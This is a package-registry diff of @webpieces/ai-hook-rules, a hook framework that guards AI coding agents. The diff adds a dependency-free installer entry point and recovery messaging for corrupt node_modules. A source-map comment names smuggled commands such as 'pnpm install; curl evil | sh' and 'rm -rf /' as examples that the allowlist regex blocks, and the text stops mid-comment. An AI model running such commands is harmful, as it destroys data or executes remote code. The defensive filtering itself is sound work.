@webpieces/ai-hook-rules 0.3.374 → 0.3.376
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/wp-install-ai-hooks.js +9 -2
- package/package.json +2 -2
- package/src/bin/install-entry.d.ts +3 -0
- package/src/bin/install-entry.js +105 -0
- package/src/bin/install-entry.js.map +1 -0
- package/src/bin/shim.d.ts +1 -0
- package/src/bin/shim.js +6 -0
- package/src/bin/shim.js.map +1 -1
- package/src/core/rules/branch-creation-guard.d.ts +39 -1
- package/src/core/rules/branch-creation-guard.js +116 -7
- package/src/core/rules/branch-creation-guard.js.map +1 -1
- package/src/core/sync-main.js +7 -1
- package/src/core/sync-main.js.map +1 -1
|
@@ -1,15 +1,22 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
// Plain JS shim — delegates to compiled TypeScript.
|
|
3
3
|
// Must NOT be converted to TypeScript (needs to exist pre-build for pnpm bin symlinks).
|
|
4
|
+
//
|
|
5
|
+
// Points at install-entry.js, NOT setup.js, on purpose. setup.js top-level-imports
|
|
6
|
+
// @webpieces/rules-config -> minimatch, so on a CORRUPT node_modules (a package half-written by an
|
|
7
|
+
// install that was killed mid-copy) node died at require() time with a raw MODULE_NOT_FOUND loader
|
|
8
|
+
// trace — before the installer could rewrite the fail-closed shim, which is the one thing that would
|
|
9
|
+
// have made the breakage visible. install-entry.js imports only ./shim (fs + path), re-arms the shim
|
|
10
|
+
// first, and only then loads setup.js lazily. See install-entry.ts for the full story.
|
|
4
11
|
// eslint-disable-next-line @webpieces/no-unmanaged-exceptions
|
|
5
12
|
'use strict';
|
|
6
13
|
|
|
7
14
|
const path = require('path');
|
|
8
15
|
const fs = require('fs');
|
|
9
|
-
const compiled = path.join(__dirname, '..', 'src', 'bin', '
|
|
16
|
+
const compiled = path.join(__dirname, '..', 'src', 'bin', 'install-entry.js');
|
|
10
17
|
|
|
11
18
|
if (fs.existsSync(compiled)) {
|
|
12
|
-
require(compiled).
|
|
19
|
+
require(compiled).runInstaller(process.cwd()).then((code) => process.exit(code));
|
|
13
20
|
} else {
|
|
14
21
|
console.error(' [ai-hook-rules] Package not built yet. Run the build first, or install from npm.');
|
|
15
22
|
process.exit(1);
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@webpieces/ai-hook-rules",
|
|
3
|
-
"version": "0.3.
|
|
3
|
+
"version": "0.3.376",
|
|
4
4
|
"description": "Pluggable write-time validation framework for AI coding agents (@webpieces/ai-hook-rules). Claude Code PreToolUse + openclaw before_tool_call adapters share one rule engine.",
|
|
5
5
|
"type": "commonjs",
|
|
6
6
|
"main": "./src/index.js",
|
|
@@ -31,7 +31,7 @@
|
|
|
31
31
|
"directory": "packages/tooling/ai-hook-rules"
|
|
32
32
|
},
|
|
33
33
|
"dependencies": {
|
|
34
|
-
"@webpieces/rules-config": "0.3.
|
|
34
|
+
"@webpieces/rules-config": "0.3.376"
|
|
35
35
|
},
|
|
36
36
|
"publishConfig": {
|
|
37
37
|
"access": "public"
|
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.recoveryNotice = recoveryNotice;
|
|
4
|
+
exports.isBrokenTreeError = isBrokenTreeError;
|
|
5
|
+
exports.runInstaller = runInstaller;
|
|
6
|
+
const shim_1 = require("./shim");
|
|
7
|
+
const to_error_1 = require("../core/to-error");
|
|
8
|
+
// ---------------------------------------------------------------------------
|
|
9
|
+
// The `wp-install-ai-hooks` entry point, deliberately kept FREE of heavy imports.
|
|
10
|
+
//
|
|
11
|
+
// THE BUG THIS FIXES — the installer was a victim of the very corruption it must repair.
|
|
12
|
+
// setup.ts top-level-imports @webpieces/rules-config, which imports minimatch. When node_modules is
|
|
13
|
+
// corrupt — a package half-written by an install that was killed mid-copy — node dies at REQUIRE time
|
|
14
|
+
// with MODULE_NOT_FOUND, before a single line of the installer runs. So `pnpm wp-install-ai-hooks` —
|
|
15
|
+
// the one command that can rewrite the fail-closed shim — died with a raw 30-line node loader trace
|
|
16
|
+
// and repaired nothing. Worse, `pnpm install` cannot heal that corruption either (pnpm sees the right
|
|
17
|
+
// version on disk, considers the package installed, and skips it), so the repo was wedged: guards
|
|
18
|
+
// down, installer unable to reinstall them, and the only signal an unreadable stack trace.
|
|
19
|
+
//
|
|
20
|
+
// The seam: ./shim imports NOTHING but fs and path. Writing the shim never needed the rule engine.
|
|
21
|
+
// So do the repair FIRST with the dependency-free module, and only then reach for setup.ts:
|
|
22
|
+
//
|
|
23
|
+
// 1. healShim(cwd) — refresh the committed shim. Works on a corrupt tree. This re-arms the
|
|
24
|
+
// fail-closed gate, so guards-being-down becomes LOUD instead of silent.
|
|
25
|
+
// 2. require('./setup') — the full install (config seeding, settings.json wiring). Needs the rule
|
|
26
|
+
// engine, so it loads LAZILY: a corrupt tree can no longer preempt step 1.
|
|
27
|
+
// 3. MODULE_NOT_FOUND — print the one command that actually repairs it, not a node stack.
|
|
28
|
+
// ---------------------------------------------------------------------------
|
|
29
|
+
// ANSI red — the recovery command is the whole point of this message, so it must not scroll past
|
|
30
|
+
// unnoticed the way the old loader trace did.
|
|
31
|
+
const RED = '[31;1m';
|
|
32
|
+
const RESET = '[0m';
|
|
33
|
+
// The human-facing recovery notice, printed to stderr INSTEAD of a raw node loader trace. Mirrors the
|
|
34
|
+
// shim's deny reason so the terminal and the AI tell the human the same story.
|
|
35
|
+
// webpieces-disable no-function-outside-class -- bin entry point: this module MUST load with only fs+path (see header). A DI-managed class would pull the container in and reintroduce the exact require-time crash being fixed.
|
|
36
|
+
function recoveryNotice(detail, shimRefreshed) {
|
|
37
|
+
const lines = [
|
|
38
|
+
`${RED}🛑 @webpieces: cannot run the installer — your node_modules is corrupt.${RESET}`,
|
|
39
|
+
'',
|
|
40
|
+
` ${detail}`,
|
|
41
|
+
'',
|
|
42
|
+
' A package is only partially written on disk (usually an install that was killed mid-copy).',
|
|
43
|
+
' A plain `pnpm install` will NOT fix it: pnpm sees the correct version in the package.json',
|
|
44
|
+
' already on disk, considers the package installed, and skips it.',
|
|
45
|
+
'',
|
|
46
|
+
`${RED} Run exactly this, then retry:${RESET}`,
|
|
47
|
+
`${RED} ${shim_1.RECOVERY_CMD}${RESET}`,
|
|
48
|
+
'',
|
|
49
|
+
];
|
|
50
|
+
if (shimRefreshed) {
|
|
51
|
+
// The important half of the job still got done: the fail-closed gate is current, so the AI is
|
|
52
|
+
// BLOCKED (citing this same command) rather than silently editing behind dead guards.
|
|
53
|
+
lines.push(' The AI guard shim WAS refreshed, so tool calls are now BLOCKED until you repair the');
|
|
54
|
+
lines.push(' tree. That is intentional — it is what stops the AI from working unguarded.');
|
|
55
|
+
}
|
|
56
|
+
else {
|
|
57
|
+
lines.push(' No committed shim was found to refresh. Re-run this installer after the repair.');
|
|
58
|
+
}
|
|
59
|
+
return lines;
|
|
60
|
+
}
|
|
61
|
+
// Node stamps a `code` onto require() failures, which the base Error type does not carry.
|
|
62
|
+
class NodeRequireError extends Error {
|
|
63
|
+
code;
|
|
64
|
+
}
|
|
65
|
+
// The lazily-required ./setup module. Named (not an inline literal) so the require cast stays typed.
|
|
66
|
+
class SetupModule {
|
|
67
|
+
main;
|
|
68
|
+
}
|
|
69
|
+
// A require() failure from a corrupt / partially-written node_modules. Node reports a missing relative
|
|
70
|
+
// specifier ('./assert-valid-pattern.js' — a package's own file absent from disk) and a missing bare
|
|
71
|
+
// specifier ('@webpieces/rules-config' — package not installed at all) with the SAME code. Both mean a
|
|
72
|
+
// broken tree from the installer's point of view, and both have the same cure, so both map to true.
|
|
73
|
+
// webpieces-disable no-function-outside-class -- bin entry point: this module MUST load with only fs+path (see header). A DI-managed class would pull the container in and reintroduce the exact require-time crash being fixed.
|
|
74
|
+
function isBrokenTreeError(error) {
|
|
75
|
+
return error.code === 'MODULE_NOT_FOUND';
|
|
76
|
+
}
|
|
77
|
+
// Returns the process exit code (0 = ok). Kept as a function (not top-level code) so it is unit-
|
|
78
|
+
// testable without spawning node.
|
|
79
|
+
// webpieces-disable no-function-outside-class -- bin entry point: this module MUST load with only fs+path (see header). A DI-managed class would pull the container in and reintroduce the exact require-time crash being fixed.
|
|
80
|
+
async function runInstaller(cwd) {
|
|
81
|
+
// STEP 1 — re-arm the fail-closed gate FIRST, via the dependency-free module. healShim never
|
|
82
|
+
// throws and only rewrites a shim that ALREADY exists, so a global install is left untouched.
|
|
83
|
+
const shimRefreshed = (0, shim_1.findShimRoot)(cwd) !== null;
|
|
84
|
+
(0, shim_1.healShim)(cwd);
|
|
85
|
+
// STEP 2 — the real install, loaded LAZILY ON PURPOSE. A static import would drag
|
|
86
|
+
// @webpieces/rules-config → minimatch in at module-load time and a corrupt tree would kill this
|
|
87
|
+
// file before step 1 ever ran — which is precisely the failure being fixed here. Do not hoist it.
|
|
88
|
+
// webpieces-disable no-unmanaged-exceptions -- this IS the top-level chokepoint: the bin entry. It exists to turn a raw MODULE_NOT_FOUND loader trace into an actionable recovery message; a real bug is re-thrown untouched.
|
|
89
|
+
// eslint-disable-next-line @webpieces/no-unmanaged-exceptions
|
|
90
|
+
try {
|
|
91
|
+
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
|
92
|
+
const setup = require('./setup');
|
|
93
|
+
await setup.main();
|
|
94
|
+
return 0;
|
|
95
|
+
}
|
|
96
|
+
catch (err) {
|
|
97
|
+
const error = (0, to_error_1.toError)(err);
|
|
98
|
+
if (!isBrokenTreeError(error))
|
|
99
|
+
throw error; // a real bug — never hide it behind a nice message
|
|
100
|
+
for (const line of recoveryNotice(error.message.split('\n')[0], shimRefreshed))
|
|
101
|
+
console.error(line);
|
|
102
|
+
return 1;
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
//# sourceMappingURL=install-entry.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"install-entry.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/install-entry.ts"],"names":[],"mappings":";;AAiCA,wCAuBC;AAiBD,8CAEC;AAKD,oCAsBC;AAtGD,iCAA8D;AAC9D,+CAA2C;AAE3C,8EAA8E;AAC9E,kFAAkF;AAClF,EAAE;AACF,yFAAyF;AACzF,oGAAoG;AACpG,sGAAsG;AACtG,qGAAqG;AACrG,oGAAoG;AACpG,sGAAsG;AACtG,kGAAkG;AAClG,2FAA2F;AAC3F,EAAE;AACF,mGAAmG;AACnG,4FAA4F;AAC5F,EAAE;AACF,kGAAkG;AAClG,mGAAmG;AACnG,oGAAoG;AACpG,qGAAqG;AACrG,8FAA8F;AAC9F,8EAA8E;AAE9E,iGAAiG;AACjG,8CAA8C;AAC9C,MAAM,GAAG,GAAG,SAAS,CAAC;AACtB,MAAM,KAAK,GAAG,MAAM,CAAC;AAErB,sGAAsG;AACtG,+EAA+E;AAC/E,iOAAiO;AACjO,SAAgB,cAAc,CAAC,MAAc,EAAE,aAAsB;IACjE,MAAM,KAAK,GAAG;QACV,GAAG,GAAG,0EAA0E,KAAK,EAAE;QACvF,EAAE;QACF,KAAK,MAAM,EAAE;QACb,EAAE;QACF,8FAA8F;QAC9F,6FAA6F;QAC7F,mEAAmE;QACnE,EAAE;QACF,GAAG,GAAG,kCAAkC,KAAK,EAAE;QAC/C,GAAG,GAAG,OAAO,mBAAY,GAAG,KAAK,EAAE;QACnC,EAAE;KACL,CAAC;IACF,IAAI,aAAa,EAAE,CAAC;QAChB,8FAA8F;QAC9F,sFAAsF;QACtF,KAAK,CAAC,IAAI,CAAC,uFAAuF,CAAC,CAAC;QACpG,KAAK,CAAC,IAAI,CAAC,+EAA+E,CAAC,CAAC;IAChG,CAAC;SAAM,CAAC;QACJ,KAAK,CAAC,IAAI,CAAC,mFAAmF,CAAC,CAAC;IACpG,CAAC;IACD,OAAO,KAAK,CAAC;AACjB,CAAC;AAED,0FAA0F;AAC1F,MAAM,gBAAiB,SAAQ,KAAK;IACvB,IAAI,CAAU;CAC1B;AAED,qGAAqG;AACrG,MAAM,WAAW;IACb,IAAI,CAAuB;CAC9B;AAED,uGAAuG;AACvG,qGAAqG;AACrG,uGAAuG;AACvG,oGAAoG;AACpG,iOAAiO;AACjO,SAAgB,iBAAiB,CAAC,KAAY;IAC1C,OAAQ,KAA0B,CAAC,IAAI,KAAK,kBAAkB,CAAC;AACnE,CAAC;AAED,iGAAiG;AACjG,kCAAkC;AAClC,iOAAiO;AAC1N,KAAK,UAAU,YAAY,CAAC,GAAW;IAC1C,6FAA6F;IAC7F,8FAA8F;IAC9F,MAAM,aAAa,GAAG,IAAA,mBAAY,EAAC,GAAG,CAAC,KAAK,IAAI,CAAC;IACjD,IAAA,eAAQ,EAAC,GAAG,CAAC,CAAC;IAEd,kFAAkF;IAClF,gGAAgG;IAChG,kGAAkG;IAClG,8NAA8N;IAC9N,8DAA8D;IAC9D,IAAI,CAAC;QACD,iEAAiE;QACjE,MAAM,KAAK,GAAG,OAAO,CAAC,SAAS,CAAgB,CAAC;QAChD,MAAM,KAAK,CAAC,IAAI,EAAE,CAAC;QACnB,OAAO,CAAC,CAAC;IACb,CAAC;IAAC,OAAO,GAAY,EAAE,CAAC;QACpB,MAAM,KAAK,GAAG,IAAA,kBAAO,EAAC,GAAG,CAAC,CAAC;QAC3B,IAAI,CAAC,iBAAiB,CAAC,KAAK,CAAC;YAAE,MAAM,KAAK,CAAC,CAAG,mDAAmD;QACjG,KAAK,MAAM,IAAI,IAAI,cAAc,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,EAAE,aAAa,CAAC;YAAE,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;QACpG,OAAO,CAAC,CAAC;IACb,CAAC;AACL,CAAC","sourcesContent":["import { healShim, findShimRoot, RECOVERY_CMD } from './shim';\nimport { toError } from '../core/to-error';\n\n// ---------------------------------------------------------------------------\n// The `wp-install-ai-hooks` entry point, deliberately kept FREE of heavy imports.\n//\n// THE BUG THIS FIXES — the installer was a victim of the very corruption it must repair.\n// setup.ts top-level-imports @webpieces/rules-config, which imports minimatch. When node_modules is\n// corrupt — a package half-written by an install that was killed mid-copy — node dies at REQUIRE time\n// with MODULE_NOT_FOUND, before a single line of the installer runs. So `pnpm wp-install-ai-hooks` —\n// the one command that can rewrite the fail-closed shim — died with a raw 30-line node loader trace\n// and repaired nothing. Worse, `pnpm install` cannot heal that corruption either (pnpm sees the right\n// version on disk, considers the package installed, and skips it), so the repo was wedged: guards\n// down, installer unable to reinstall them, and the only signal an unreadable stack trace.\n//\n// The seam: ./shim imports NOTHING but fs and path. Writing the shim never needed the rule engine.\n// So do the repair FIRST with the dependency-free module, and only then reach for setup.ts:\n//\n// 1. healShim(cwd) — refresh the committed shim. Works on a corrupt tree. This re-arms the\n// fail-closed gate, so guards-being-down becomes LOUD instead of silent.\n// 2. require('./setup') — the full install (config seeding, settings.json wiring). Needs the rule\n// engine, so it loads LAZILY: a corrupt tree can no longer preempt step 1.\n// 3. MODULE_NOT_FOUND — print the one command that actually repairs it, not a node stack.\n// ---------------------------------------------------------------------------\n\n// ANSI red — the recovery command is the whole point of this message, so it must not scroll past\n// unnoticed the way the old loader trace did.\nconst RED = '\u001b[31;1m';\nconst RESET = '\u001b[0m';\n\n// The human-facing recovery notice, printed to stderr INSTEAD of a raw node loader trace. Mirrors the\n// shim's deny reason so the terminal and the AI tell the human the same story.\n// webpieces-disable no-function-outside-class -- bin entry point: this module MUST load with only fs+path (see header). A DI-managed class would pull the container in and reintroduce the exact require-time crash being fixed.\nexport function recoveryNotice(detail: string, shimRefreshed: boolean): string[] {\n const lines = [\n `${RED}🛑 @webpieces: cannot run the installer — your node_modules is corrupt.${RESET}`,\n '',\n ` ${detail}`,\n '',\n ' A package is only partially written on disk (usually an install that was killed mid-copy).',\n ' A plain `pnpm install` will NOT fix it: pnpm sees the correct version in the package.json',\n ' already on disk, considers the package installed, and skips it.',\n '',\n `${RED} Run exactly this, then retry:${RESET}`,\n `${RED} ${RECOVERY_CMD}${RESET}`,\n '',\n ];\n if (shimRefreshed) {\n // The important half of the job still got done: the fail-closed gate is current, so the AI is\n // BLOCKED (citing this same command) rather than silently editing behind dead guards.\n lines.push(' The AI guard shim WAS refreshed, so tool calls are now BLOCKED until you repair the');\n lines.push(' tree. That is intentional — it is what stops the AI from working unguarded.');\n } else {\n lines.push(' No committed shim was found to refresh. Re-run this installer after the repair.');\n }\n return lines;\n}\n\n// Node stamps a `code` onto require() failures, which the base Error type does not carry.\nclass NodeRequireError extends Error {\n readonly code?: string;\n}\n\n// The lazily-required ./setup module. Named (not an inline literal) so the require cast stays typed.\nclass SetupModule {\n main!: () => Promise<void>;\n}\n\n// A require() failure from a corrupt / partially-written node_modules. Node reports a missing relative\n// specifier ('./assert-valid-pattern.js' — a package's own file absent from disk) and a missing bare\n// specifier ('@webpieces/rules-config' — package not installed at all) with the SAME code. Both mean a\n// broken tree from the installer's point of view, and both have the same cure, so both map to true.\n// webpieces-disable no-function-outside-class -- bin entry point: this module MUST load with only fs+path (see header). A DI-managed class would pull the container in and reintroduce the exact require-time crash being fixed.\nexport function isBrokenTreeError(error: Error): boolean {\n return (error as NodeRequireError).code === 'MODULE_NOT_FOUND';\n}\n\n// Returns the process exit code (0 = ok). Kept as a function (not top-level code) so it is unit-\n// testable without spawning node.\n// webpieces-disable no-function-outside-class -- bin entry point: this module MUST load with only fs+path (see header). A DI-managed class would pull the container in and reintroduce the exact require-time crash being fixed.\nexport async function runInstaller(cwd: string): Promise<number> {\n // STEP 1 — re-arm the fail-closed gate FIRST, via the dependency-free module. healShim never\n // throws and only rewrites a shim that ALREADY exists, so a global install is left untouched.\n const shimRefreshed = findShimRoot(cwd) !== null;\n healShim(cwd);\n\n // STEP 2 — the real install, loaded LAZILY ON PURPOSE. A static import would drag\n // @webpieces/rules-config → minimatch in at module-load time and a corrupt tree would kill this\n // file before step 1 ever ran — which is precisely the failure being fixed here. Do not hoist it.\n // webpieces-disable no-unmanaged-exceptions -- this IS the top-level chokepoint: the bin entry. It exists to turn a raw MODULE_NOT_FOUND loader trace into an actionable recovery message; a real bug is re-thrown untouched.\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n // eslint-disable-next-line @typescript-eslint/no-require-imports\n const setup = require('./setup') as SetupModule;\n await setup.main();\n return 0;\n } catch (err: unknown) {\n const error = toError(err);\n if (!isBrokenTreeError(error)) throw error; // a real bug — never hide it behind a nice message\n for (const line of recoveryNotice(error.message.split('\\n')[0], shimRefreshed)) console.error(line);\n return 1;\n }\n}\n"]}
|
package/src/bin/shim.d.ts
CHANGED
|
@@ -6,4 +6,5 @@ export declare const RECOVERY_ALLOW_ERE = "^rm[[:space:]]+-rf[[:space:]]+(\\./)?
|
|
|
6
6
|
export declare const RECOVERY_ALLOW_JS: RegExp;
|
|
7
7
|
export declare const RECOVERY_CMD = "rm -rf node_modules && pnpm install";
|
|
8
8
|
export declare function renderShim(): string;
|
|
9
|
+
export declare function findShimRoot(cwd: string): string | null;
|
|
9
10
|
export declare function healShim(cwd: string): void;
|
package/src/bin/shim.js
CHANGED
|
@@ -3,6 +3,7 @@ Object.defineProperty(exports, "__esModule", { value: true });
|
|
|
3
3
|
exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.SHIM_MARKER = void 0;
|
|
4
4
|
exports.shimPath = shimPath;
|
|
5
5
|
exports.renderShim = renderShim;
|
|
6
|
+
exports.findShimRoot = findShimRoot;
|
|
6
7
|
exports.healShim = healShim;
|
|
7
8
|
const tslib_1 = require("tslib");
|
|
8
9
|
const fs = tslib_1.__importStar(require("fs"));
|
|
@@ -232,6 +233,11 @@ ${DENY_EMIT_SH}
|
|
|
232
233
|
// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a
|
|
233
234
|
// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when
|
|
234
235
|
// no committed shim exists (e.g. a global / absolute install, which has none to heal).
|
|
236
|
+
//
|
|
237
|
+
// Exported for install-entry.ts: on a CORRUPT node_modules, healShim is the only installer step that
|
|
238
|
+
// can still run, so the installer must be able to tell the human whether a committed shim was actually
|
|
239
|
+
// there to re-arm. Pure existsSync walk — never throws, so it needs no try/catch of its own.
|
|
240
|
+
// webpieces-disable no-function-outside-class -- pure fs+path helper in the dependency-free shim module; it must not depend on DI (install-entry.ts relies on this loading on a corrupt tree).
|
|
235
241
|
function findShimRoot(cwd) {
|
|
236
242
|
let dir = cwd;
|
|
237
243
|
for (;;) {
|
package/src/bin/shim.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"shim.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\n\n// ---------------------------------------------------------------------------\n// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing\n// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin\n// (fresh clone, package removed) yields a friendly message instead of the raw `sh: No such file or\n// directory` on every Write/Edit/Bash tool call. `.claude` is committed, so the shim survives even\n// when node_modules does not.\n//\n// This module is the SINGLE SOURCE OF TRUTH for the shim body + the installer allowlist. The\n// installer (setup.ts) renders it on install; the running guards binary re-renders and self-heals it\n// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.\n// ---------------------------------------------------------------------------\nexport const SHIM_MARKER = '.claude/webpieces/ai-hook.sh';\n\nexport function shimPath(projectRoot: string): string {\n return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');\n}\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// No `cd` prefix on purpose: the root package.json IS the install target in this nx monorepo and\n// Claude Code starts at the repo root, so a bare `pnpm install` always works — no `cd` is ever needed,\n// and allowing one would only widen the attack surface of a fail-CLOSED escape hatch.\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nexport const INSTALLER_ALLOW_ERE =\n '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$';\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nexport const INSTALLER_ALLOW_JS =\n /^(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*\\s*$/;\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a 